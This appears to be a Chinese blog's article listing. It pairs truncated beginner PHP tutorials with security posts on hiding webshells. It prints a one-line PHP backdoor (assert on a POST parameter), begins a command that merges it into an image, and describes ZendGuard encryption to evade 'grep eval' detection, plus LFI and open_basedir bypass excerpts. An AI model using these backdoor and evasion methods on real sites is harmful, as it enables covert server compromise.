
PHP
Coisini、
9点睡9点起 每天工作6小时
展开
-
当Windows遇上PHP–路径爆破
.开场白此次所披露的是以下网页中提出的问题所取得的测试结果:http://code.google.com/p/pasc2at/wiki/SimplifiedChinese<?phpfor ($i=0; $i<255; $i++) {$url = '1.ph' . chr($i);$tmp = @file_get_contents($url);if (!...原创 2019-06-05 19:41:37 · 814 阅读 · 0 评论 -
PHP图片后门藏匿攻略
我们平时藏匿图片后门是什么流程呢?我们来看一下0x01 初级的藏匿方法:1、建立一个eval.php文件,上面加入我们的后门:<?php assert($_POST[feiji]);?>2、找一张图片1.jpg,最好是从目标网站上下载下来的图片。3、合并图片和php后门:Copy /b C:\xampp\htdocs\images\1.jpg + C:\xampp\ht...原创 2019-06-21 17:06:48 · 1960 阅读 · 0 评论 -
php phar LFI
0x01. 什么是phar文件归档到一个文件包。将一个模块的文件打包成一个phar,这样方便模块整体迁移,只需将phar文件移动过去,其他环境中include即可使用。类似于java的 .jar 文件。php 5.3时,为php的C语言扩展,安装php时会默认安装。0x02. 创建phar文件phar.readonly = Off 这个参数必须设置为Off,如果为On,表示phar文...原创 2019-06-15 22:32:36 · 679 阅读 · 0 评论 -
PHP 运行时漏洞检测
0x00 前言这片博文将简单的介绍我编写的 PHP 运行时漏洞检测系统 prvd 的检测逻辑, 以及该系统在实际测试中的效果。0x01 基本知识在这里我们先介绍几个常用的词语:- source数据来源点,可以是:网络,例如常规的 Web 参数等文件系统数据库等等其他用户可控或者间接可控的地方- filter数据过滤处理点,可以是:编码解码,例如 base64_decode ...原创 2019-06-04 11:04:24 · 1310 阅读 · 0 评论 -
用ZendGuard 加密php webshell
现在很多linux管理员都会一招,grep eval 大法,查找那些年错过的webshell,那些年错过的基友们苦思冥想出了对抗的办法。ZendGuard是一款php的加密工具,它可以编译php源码变为字节码,类似于java的虚拟机的字节码,然后让zend虚拟机运行字节码,以此来提高php的运行速度,因为不用虚拟机,php运行脚本的方式是读一行代码,运行一行,效率很低,而虚拟机则效率高多了,题...原创 2019-06-09 16:31:52 · 523 阅读 · 0 评论 -
PHP基础
静态网站:不支持数据交互(后缀html\htm)动态网站:支持数据交互(动态网站可以存在静态网页)实现动态网站技术ASP(后缀asp)PHP(后缀php)NET(读法 dot net)<后缀aspx >JAVA(后缀. jsp)客户端与服务器端户端→Http请求→服务端↓(html代码,图片,js,CSS)并解析↓服务端→Http响应→客户端端口端口...原创 2019-06-03 12:15:34 · 207 阅读 · 0 评论 -
PHP-数据库介绍
数据库是存放数据的仓库,数据不是直接放到数据库中,数据库中是表,表里面存放数据萌芽阶段→文件系统(使用磁盘文件来存储数据)初级阶段→第一代数据库(出现网状模型,层次模型数据库)中级阶段→第二代数据库(关系型数据库和结构化查询语言)高级阶段→新一代数据库(“关系-对象”型数据库)层次模型:优点:分类管理,如果查询同一类的数据是很方便的缺点:如果查询多个不是同一类的数据,效率就很...原创 2019-06-03 12:12:33 · 624 阅读 · 0 评论 -
PHP标记、注释和结束符
PHP标记1.标准规则(通常嵌入到html用)<?php 开始?>结束2.不完整规则3.历史规则PHP注释单行注释:// 或 #(其后面的内容会被忽略)多行注释:PHP结束符此处;为语句结束符告诉php解释器echo ‘hello world’是一个整体...原创 2019-06-03 12:08:38 · 2184 阅读 · 0 评论 -
PHP-变量
PHP-变量名的命名规则必须用$符号开始由字母与下划线构成PHP变量的使用PHP变量的生命周期是人为的删除变量(如上unset删除变量)是脚本执行结束(最后一行代码执行完毕)预定义变量、系统变量变量的传值值传递:将变量的值赋值给另一个变量,两个变量拥有同样的值,但两个变量互不影响引用传递:将变量指向数据的内存地址赋值给另外一个变量,两个变量指向同一个值,任何一...原创 2019-06-03 12:01:09 · 252 阅读 · 0 评论 -
PHP-常量
PHP常量命名规格常量名通常用大写字母表示常量名不需要使用$符号开始常量名由字母,数字和下划线,其中不能以数字开头复杂的常量名使用下划线法表示:FAMILY_NAME常量的命名比变量其实要宽松(不建议)常量定义常量的定义通常使用define函数或者const关键字,而且必须在定义的时候就对其赋值常量的使用常量一旦定义不能改变,只能在后面使用其初始化...原创 2019-06-03 11:56:31 · 220 阅读 · 0 评论 -
PHP数据类型
PHP中数据类型分为三大类八小类基本数据类型整形:存储整数数据浮点型:存储小数数据和超过整形范围的整数数据布尔型:存储布尔型数据,只有true和false两个值字符串型:存储字符串数据(最常见)复合数据类型数组型:存储数组数据(即多个数据存放到一个变量中0)对象型:存放对象数据,由类实例化得到(面向对象)特殊数据类型资源型:存储外部资源数据(数据库资源/文件资源)...原创 2019-06-03 11:52:44 · 541 阅读 · 0 评论 -
PHP类型判断
定义:类型判断是系统通过指定函数来确定数据类别,给定判定结果为布尔值,是对应类型返回true,不是对应类型返回false通过系统函数判定数据类型:函数的格式很好记,使用is_开头,后面跟对应数据类型,可以通过操作手册is_进行搜索查询(PHP操作手册.chm->索引-输入is_),以下讲几个常用的判定函数总结:数据类型判定在实际开发中有着非常重要的地位,因为作为后台语言,要与用户交互,...原创 2019-06-03 11:34:35 · 537 阅读 · 0 评论 -
PHP类型转换
1.自动转换:就是PHP会自动根据数据要参与的运算场景来将不符合条件的数据类型的数据类型的数据转换成目标类型数据,这种操作在PHP代码中绝大多数的时候可以满足开发需求自动转换不会改变数据本身的数据类型2.强制转换:在程序员开发过程中某个特定节点,需要对数据进行最终格式确定,这个时候可以对数据进行强制转换,转换方式是在数据变量前使用(目标数据类型)前面括号输入想转换的数据类型,然后最好...原创 2019-06-03 11:32:59 · 1038 阅读 · 0 评论 -
PHP运算符
赋值运算符给变量或者常量进行赋值运算:把右边的结果保存到左边=:最常见的赋值+=:左边与右边的运算结果(整体)相加,然后再把这个运算结果赋值给左边-=|*=|/=:与+=一致=:“.”为字符串连接操作符,表示左边的字符串与右边的字符串连起来后赋值给左边变量注意:在使用“/=”进行运算的时候,右侧的结果不能为0,否则会报错...原创 2019-06-03 11:30:52 · 187 阅读 · 0 评论 -
PHP+MySQL+JavaScript实现注册登录(防黑客爆破)
注册界面html前端<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title></title> </head> <body> 注册界面 <form action="./login.php" method="pos...原创 2019-06-03 11:26:22 · 1385 阅读 · 0 评论 -
LNMP虚拟主机PHP沙盒逃逸
并不只是针对Lnmp的沙盒逃逸,而是.user.ini的设计缺陷达到绕过open_basedir限制,所以是通用的方法。首先来看看最新版LNMP是怎么配置open_basedir的:open_basedir=/home/wwwroot/default:/tmp/:/proc/lsattr .user.ini----i----------- .user.iniLNMP的open_ba...原创 2019-06-12 13:40:45 · 428 阅读 · 0 评论